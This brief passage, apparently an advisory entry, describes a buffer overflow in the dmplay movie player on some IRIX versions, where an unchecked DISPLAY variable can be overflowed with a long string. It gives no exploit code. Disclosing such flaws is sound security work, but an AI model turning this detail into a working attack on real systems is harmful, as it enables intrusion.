Certain versions of IRIX ship with a version of dmplay which is vulnerable to a buffer overflow attack. The program, dmplay, is used to play movie files under IRIX. The problem at hand is the way the program handles the DISPLAY variable for the users X terminal. It does not check bounds and therefore is vulnerable to attack by an overly long user supplied string.
